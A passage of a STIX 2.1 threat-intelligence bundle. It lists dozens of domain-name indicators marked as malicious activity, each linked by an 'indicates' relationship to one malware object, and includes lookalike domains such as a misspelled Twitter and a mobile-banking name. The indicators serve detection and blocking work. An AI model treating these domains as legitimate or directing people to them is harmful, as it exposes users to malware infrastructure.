"relationship--c72cb8ab-89d5-4414-bbaf-c2ed5ca1a7c8", "created": "2024-01-26T21:28:21.23408Z", "modified": "2024-01-26T21:28:21.23408Z", "relationship_type": "indicates", "source_ref": "indicator--c8b17c4e-b1a8-49ae-befa-eaef85c5bfda", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--77a6b9f9-285d-4de0-be9d-0f7ea4973cf1", "created": "2024-01-26T21:28:21.234179Z", "modified": "2024-01-26T21:28:21.234179Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dinneraroundyou.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.234179Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--39ebece4-a47b-434d-a87a-94655f52d73d", "created": "2024-01-26T21:28:21.23457Z", "modified": "2024-01-26T21:28:21.23457Z", "relationship_type": "indicates", "source_ref": "indicator--77a6b9f9-285d-4de0-be9d-0f7ea4973cf1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--adebb4eb-718c-485d-a9ba-c28b7370c7e4", "created": "2024-01-26T21:28:21.234666Z", "modified": "2024-01-26T21:28:21.234666Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='phonering4you.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.234666Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b2c9fc4c-19f3-4196-8fa9-afd27c3592a0", "created": "2024-01-26T21:28:21.235059Z", "modified": "2024-01-26T21:28:21.235059Z", "relationship_type": "indicates", "source_ref": "indicator--adebb4eb-718c-485d-a9ba-c28b7370c7e4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--df400cc2-3153-4de5-89c3-53caae5d88c0", "created": "2024-01-26T21:28:21.235156Z", "modified": "2024-01-26T21:28:21.235156Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='go-trip.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.235156Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6613aee0-6c7a-4a93-a37b-cd85c89a56cc", "created": "2024-01-26T21:28:21.235626Z", "modified": "2024-01-26T21:28:21.235626Z", "relationship_type": "indicates", "source_ref": "indicator--df400cc2-3153-4de5-89c3-53caae5d88c0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2c5967fe-0263-470d-ac1f-31462c0c7699", "created": "2024-01-26T21:28:21.235725Z", "modified": "2024-01-26T21:28:21.235725Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='infospress.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.235725Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3595cc40-136d-4926-89ec-15cef8840e53", "created": "2024-01-26T21:28:21.236118Z", "modified": "2024-01-26T21:28:21.236118Z", "relationship_type": "indicates", "source_ref": "indicator--2c5967fe-0263-470d-ac1f-31462c0c7699", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5ea1535c-1b11-44b2-9fed-9e171c3f2abe", "created": "2024-01-26T21:28:21.236218Z", "modified": "2024-01-26T21:28:21.236218Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='managingincluded.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.236218Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0d89f72d-e82a-49e5-8a27-1572c9f4af71", "created": "2024-01-26T21:28:21.236607Z", "modified": "2024-01-26T21:28:21.236607Z", "relationship_type": "indicates", "source_ref": "indicator--5ea1535c-1b11-44b2-9fed-9e171c3f2abe", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ba6d07d0-a166-4987-9062-919e95191f26", "created": "2024-01-26T21:28:21.236703Z", "modified": "2024-01-26T21:28:21.236703Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='editorscolumn.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.236703Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e8f191e6-378f-4998-8fc5-0d18ea44e0a6", "created": "2024-01-26T21:28:21.237089Z", "modified": "2024-01-26T21:28:21.237089Z", "relationship_type": "indicates", "source_ref": "indicator--ba6d07d0-a166-4987-9062-919e95191f26", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4dfa6e16-56cc-458e-8bd2-9e166f2bc674", "created": "2024-01-26T21:28:21.237186Z", "modified": "2024-01-26T21:28:21.237186Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='t-support.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.237186Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--91af82e2-8e9d-4363-9442-b467cab9cdac", "created": "2024-01-26T21:28:21.237567Z", "modified": "2024-01-26T21:28:21.237567Z", "relationship_type": "indicates", "source_ref": "indicator--4dfa6e16-56cc-458e-8bd2-9e166f2bc674", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--08b6ad53-1588-4ff8-97b6-9fb8d81a9911", "created": "2024-01-26T21:28:21.237662Z", "modified": "2024-01-26T21:28:21.237662Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='buildyourdata.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.237662Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d07c1ede-50cf-4c8b-baf2-7cde43a404dc", "created": "2024-01-26T21:28:21.238056Z", "modified": "2024-01-26T21:28:21.238056Z", "relationship_type": "indicates", "source_ref": "indicator--08b6ad53-1588-4ff8-97b6-9fb8d81a9911", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d3cb10e1-7508-4634-9405-8ac2b28568e9", "created": "2024-01-26T21:28:21.238153Z", "modified": "2024-01-26T21:28:21.238153Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='updating-url.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.238153Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8bd0680a-5dff-4f40-af76-94f229becc75", "created": "2024-01-26T21:28:21.238541Z", "modified": "2024-01-26T21:28:21.238541Z", "relationship_type": "indicates", "source_ref": "indicator--d3cb10e1-7508-4634-9405-8ac2b28568e9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6b314410-f049-4daa-bff6-3fc46c1eb958", "created": "2024-01-26T21:28:21.238636Z", "modified": "2024-01-26T21:28:21.238636Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='performinghost.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.238636Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fee7278b-d9fd-4982-8b28-e8c46766f8b7", "created": "2024-01-26T21:28:21.239022Z", "modified": "2024-01-26T21:28:21.239022Z", "relationship_type": "indicates", "source_ref": "indicator--6b314410-f049-4daa-bff6-3fc46c1eb958", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8e6b2757-dcd8-44e8-90cd-537f1d1ac078", "created": "2024-01-26T21:28:21.239118Z", "modified": "2024-01-26T21:28:21.239118Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='network190.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.239118Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1dab846d-f62c-4aa0-9321-784491be7873", "created": "2024-01-26T21:28:21.239555Z", "modified": "2024-01-26T21:28:21.239555Z", "relationship_type": "indicates", "source_ref": "indicator--8e6b2757-dcd8-44e8-90cd-537f1d1ac078", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--baa6c134-b765-42b1-897d-fd62352392bd", "created": "2024-01-26T21:28:21.239652Z", "modified": "2024-01-26T21:28:21.239652Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='gossipsbollywoods.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.239652Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--671b67c5-89ad-4c7d-92c9-dde9b4c0152d", "created": "2024-01-26T21:28:21.240123Z", "modified": "2024-01-26T21:28:21.240123Z", "relationship_type": "indicates", "source_ref": "indicator--baa6c134-b765-42b1-897d-fd62352392bd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--90d6f624-4645-4abf-ab31-60a1efdefdb3", "created": "2024-01-26T21:28:21.240223Z", "modified": "2024-01-26T21:28:21.240223Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='soccerstreamingstars.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.240223Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6f93b5ea-f214-43eb-af65-a72f9fba967a", "created": "2024-01-26T21:28:21.240627Z", "modified": "2024-01-26T21:28:21.240627Z", "relationship_type": "indicates", "source_ref": "indicator--90d6f624-4645-4abf-ab31-60a1efdefdb3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--33098f02-b7dc-432e-b117-81bb8486b2a9", "created": "2024-01-26T21:28:21.240728Z", "modified": "2024-01-26T21:28:21.240728Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mydarkarms.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.240728Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--361bca0d-b553-459b-9a9f-15a667a01cf6", "created": "2024-01-26T21:28:21.241112Z", "modified": "2024-01-26T21:28:21.241112Z", "relationship_type": "indicates", "source_ref": "indicator--33098f02-b7dc-432e-b117-81bb8486b2a9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f8ea5708-1b59-4e86-aec2-6ce9635bde80", "created": "2024-01-26T21:28:21.241209Z", "modified": "2024-01-26T21:28:21.241209Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='golf-news.live']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.241209Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--eb21c1e9-294d-442d-abdc-8782778d33e7", "created": "2024-01-26T21:28:21.241591Z", "modified": "2024-01-26T21:28:21.241591Z", "relationship_type": "indicates", "source_ref": "indicator--f8ea5708-1b59-4e86-aec2-6ce9635bde80", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f076c8c1-e041-455c-973a-0f417d83f433", "created": "2024-01-26T21:28:21.241689Z", "modified": "2024-01-26T21:28:21.241689Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='banca-movil.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.241689Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a8e59862-dba0-4116-a5dc-9ea334aea9a0", "created": "2024-01-26T21:28:21.242076Z", "modified": "2024-01-26T21:28:21.242076Z", "relationship_type": "indicates", "source_ref": "indicator--f076c8c1-e041-455c-973a-0f417d83f433", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--88a49798-71dc-46dd-8da2-01a30f65e87b", "created": "2024-01-26T21:28:21.242172Z", "modified": "2024-01-26T21:28:21.242172Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='brownandblueeyes.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.242172Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--060cc740-ed89-4cc0-9d47-a9f6cfb9d7e8", "created": "2024-01-26T21:28:21.242562Z", "modified": "2024-01-26T21:28:21.242562Z", "relationship_type": "indicates", "source_ref": "indicator--88a49798-71dc-46dd-8da2-01a30f65e87b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--32f89ccd-6b41-45e4-a4ad-5c567bec1f26", "created": "2024-01-26T21:28:21.242657Z", "modified": "2024-01-26T21:28:21.242657Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='searchjustdont.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.242657Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--060f9a23-e6d8-4376-a684-25caf88ff2a2", "created": "2024-01-26T21:28:21.243044Z", "modified": "2024-01-26T21:28:21.243044Z", "relationship_type": "indicates", "source_ref": "indicator--32f89ccd-6b41-45e4-a4ad-5c567bec1f26", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--502114f2-edfa-46e8-b76c-508b64265d55", "created": "2024-01-26T21:28:21.243143Z", "modified": "2024-01-26T21:28:21.243143Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='twiitter.com.mx']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.243143Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a577a07a-2c23-4eee-8c19-3442db0a4943", "created": "2024-01-26T21:28:21.243532Z", "modified": "2024-01-26T21:28:21.243532Z", "relationship_type": "indicates", "source_ref": "indicator--502114f2-edfa-46e8-b76c-508b64265d55", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7bf1766e-edbb-4e4e-898a-0ba1964af2e4", "created": "2024-01-26T21:28:21.243629Z", "modified": "2024-01-26T21:28:21.243629Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='confusedmachine.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.243629Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2225da0e-dc14-4efa-8428-c3094f24f30d", "created": "2024-01-26T21:28:21.244018Z", "modified": "2024-01-26T21:28:21.244018Z", "relationship_type": "indicates", "source_ref": "indicator--7bf1766e-edbb-4e4e-898a-0ba1964af2e4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e5b71ac4-9a66-41bc-98ca-2134d10712ea", "created": "2024-01-26T21:28:21.244117Z", "modified": "2024-01-26T21:28:21.244117Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='blogreseller.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.244117Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4c5229b4-e0bf-40f4-882e-2635aafe227e", "created": "2024-01-26T21:28:21.244595Z", "modified": "2024-01-26T21:28:21.244595Z", "relationship_type": "indicates", "source_ref": "indicator--e5b71ac4-9a66-41bc-98ca-2134d10712ea", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--74d9379d-b13f-4f2d-a746-dba95ab9b73c", "created": "2024-01-26T21:28:21.244698Z", "modified": "2024-01-26T21:28:21.244698Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pourcentfilers.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.244698Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ae98c435-c350-4d3d-b316-bf00638b14b4", "created": "2024-01-26T21:28:21.24509Z", "modified": "2024-01-26T21:28:21.24509Z", "relationship_type": "indicates", "source_ref": "indicator--74d9379d-b13f-4f2d-a746-dba95ab9b73c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--527ca319-943f-47a2-af59-6e7585de4b71", "created": "2024-01-26T21:28:21.245185Z", "modified": "2024-01-26T21:28:21.245185Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='getpoints.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.245185Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--307ec4e7-b1e5-4429-905e-3e9914f9a7a5", "created": "2024-01-26T21:28:21.245566Z", "modified": "2024-01-26T21:28:21.245566Z", "relationship_type": "indicates", "source_ref": "indicator--527ca319-943f-47a2-af59-6e7585de4b71", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1bcaddf1-8db6-41d4-90f8-a80706d6bb90", "created": "2024-01-26T21:28:21.245662Z", "modified": "2024-01-26T21:28:21.245662Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='beethoventopsymphonies.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.245662Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f4e9f36c-18fe-4295-8dff-719a05525868", "created": "2024-01-26T21:28:21.24606Z", "modified": "2024-01-26T21:28:21.24606Z", "relationship_type": "indicates", "source_ref": "indicator--1bcaddf1-8db6-41d4-90f8-a80706d6bb90", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--67ec3da5-92a1-4a8b-a027-2ee99cb02bb3", "created": "2024-01-26T21:28:21.246157Z", "modified": "2024-01-26T21:28:21.246157Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='reloadinput.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.246157Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--321c2f1e-745b-4c43-a4e0-0ca1ff5b4c72", "created": "2024-01-26T21:28:21.246543Z", "modified": "2024-01-26T21:28:21.246543Z", "relationship_type": "indicates", "source_ref": "indicator--67ec3da5-92a1-4a8b-a027-2ee99cb02bb3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6b96a892-f6f6-46ba-99cb-140b92082754", "created": "2024-01-26T21:28:21.24664Z", "modified": "2024-01-26T21:28:21.24664Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='uaenews.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.24664Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--efe0f59f-3aac-4419-bffd-c3879ce7dae1", "created": "2024-01-26T21:28:21.247024Z", "modified": "2024-01-26T21:28:21.247024Z", "relationship_type": "indicates", "source_ref": "indicator--6b96a892-f6f6-46ba-99cb-140b92082754", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3e4e9ebd-766f-4966-9190-9b32ce5caef7", "created": "2024-01-26T21:28:21.247121Z", "modified": "2024-01-26T21:28:21.247121Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tahmilmilafate.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.247121Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b591d79c-45aa-42df-a4c3-d5f7423980ef", "created": "2024-01-26T21:28:21.247507Z", "modified": "2024-01-26T21:28:21.247507Z", "relationship_type": "indicates", "source_ref": "indicator--3e4e9ebd-766f-4966-9190-9b32ce5caef7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--574d98cc-9341-47e1-95cb-9055959d88ca", "created": "2024-01-26T21:28:21.247603Z", "modified": "2024-01-26T21:28:21.247603Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sunday-deals.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.247603Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--739d2dd0-1336-488b-b89f-876ab64d3378", "created": "2024-01-26T21:28:21.247989Z", "modified": "2024-01-26T21:28:21.247989Z", "relationship_type": "indicates", "source_ref": "indicator--574d98cc-9341-47e1-95cb-9055959d88ca", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9d1df942-c8ae-4124-8ae5-6970ca2b5fa1", "created": "2024-01-26T21:28:21.248094Z", "modified": "2024-01-26T21:28:21.248094Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='updateapps.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.248094Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0dc694a0-d7ef-46ef-8087-de6da72785dd", "created": "2024-01-26T21:28:21.248476Z", "modified": "2024-01-26T21:28:21.248476Z", "relationship_type": "indicates", "source_ref": "indicator--9d1df942-c8ae-4124-8ae5-6970ca2b5fa1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--80514414-6160-4886-901b-3d4ccd61e86a", "created": "2024-01-26T21:28:21.248576Z", "modified": "2024-01-26T21:28:21.248576Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='theway2get.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.248576Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4052e2cd-4f9c-4951-ad14-8b1e4dfdd4b5", "created": "2024-01-26T21:28:21.249251Z", "modified": "2024-01-26T21:28:21.249251Z", "relationship_type": "indicates", "source_ref": "indicator--80514414-6160-4886-901b-3d4ccd61e86a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4dc91097-1700-4c11-8be4-420a44fdcebe", "created": "2024-01-26T21:28:21.249353Z", "modified": "2024-01-26T21:28:21.249353Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cryptocurrecny.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.249353Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3f4e0163-e936-4d30-ab45-a086c7eb7d93", "created": "2024-01-26T21:28:21.249746Z", "modified": "2024-01-26T21:28:21.249746Z", "relationship_type": "indicates", "source_ref": "indicator--4dc91097-1700-4c11-8be4-420a44fdcebe", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--646359a8-db53-4b4c-969b-d1d1f73f7f89", "created": "2024-01-26T21:28:21.249842Z", "modified": "2024-01-26T21:28:21.249842Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='motivation-go.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.249842Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--256dbad3-1f3e-4646-b925-6fdbc9df41ce", "created": "2024-01-26T21:28:21.250235Z", "modified": "2024-01-26T21:28:21.250235Z", "relationship_type": "indicates", "source_ref": "indicator--646359a8-db53-4b4c-969b-d1d1f73f7f89", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--adb1d03b-d676-4e75-899e-2adc5fcd5463", "created": "2024-01-26T21:28:21.250332Z", "modified": "2024-01-26T21:28:21.250332Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='youcantpass.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.250332Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bc9d6810-99f2-450d-b16a-ceef1a17bf20", "created": "2024-01-26T21:28:21.250717Z", "modified": "2024-01-26T21:28:21.250717Z", "relationship_type": "indicates", "source_ref": "indicator--adb1d03b-d676-4e75-899e-2adc5fcd5463", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--230438e5-b0fe-4bc0-8d6d-6d27484da426", "created": "2024-01-26T21:28:21.250813Z", "modified": "2024-01-26T21:28:21.250813Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='medicalcircle.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.250813Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--13acb218-35f6-4ad1-a4ea-6bf9499e2425", "created": "2024-01-26T21:28:21.251199Z", "modified": "2024-01-26T21:28:21.251199Z", "relationship_type": "indicates", "source_ref": "indicator--230438e5-b0fe-4bc0-8d6d-6d27484da426", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--27f6302d-4216-4e5c-b106-af4456119d9c", "created": "2024-01-26T21:28:21.251295Z", "modified": "2024-01-26T21:28:21.251295Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='web-viewer.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.251295Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e5975435-774f-413c-be11-7ac5c5066bec", "created": "2024-01-26T21:28:21.251684Z", "modified": "2024-01-26T21:28:21.251684Z", "relationship_type": "indicates", "source_ref": "indicator--27f6302d-4216-4e5c-b106-af4456119d9c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3c16f481-2ad3-4ea9-b54d-46a2b8c22505", "created": "2024-01-26T21:28:21.251782Z", "modified": "2024-01-26T21:28:21.251782Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='liam-ryan.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.251782Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--16f01267-6386-4aee-b823-ea7efc1d69c6", "created": "2024-01-26T21:28:21.252166Z", "modified": "2024-01-26T21:28:21.252166Z", "relationship_type": "indicates", "source_ref": "indicator--3c16f481-2ad3-4ea9-b54d-46a2b8c22505", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0f1cd688-aa24-4b1f-955b-cdc3217fd3e8", "created": "2024-01-26T21:28:21.252265Z", "modified": "2024-01-26T21:28:21.252265Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='todaysdeals4u.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.252265Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--622a1a60-7fb9-4ba6-8cf7-24234a2dc98d", "created": "2024-01-26T21:28:21.252651Z", "modified": "2024-01-26T21:28:21.252651Z", "relationship_type": "indicates", "source_ref": "indicator--0f1cd688-aa24-4b1f-955b-cdc3217fd3e8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6f0037f8-be06-4d94-9b46-973df1b509e2", "created": "2024-01-26T21:28:21.252747Z", "modified": "2024-01-26T21:28:21.252747Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='easybett.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.252747Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--960a2079-142d-4f27-a1b7-4bd1deded7c5", "created": "2024-01-26T21:28:21.253129Z", "modified": "2024-01-26T21:28:21.253129Z", "relationship_type": "indicates", "source_ref": "indicator--6f0037f8-be06-4d94-9b46-973df1b509e2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--072f4a3c-922b-46ca-b91b-1f17f1740d55", "created": "2024-01-26T21:28:21.253225Z", "modified": "2024-01-26T21:28:21.253225Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='balancewreckpoint.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.253225Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3a73b738-c4d5-4d2f-861b-d1feda952129", "created": 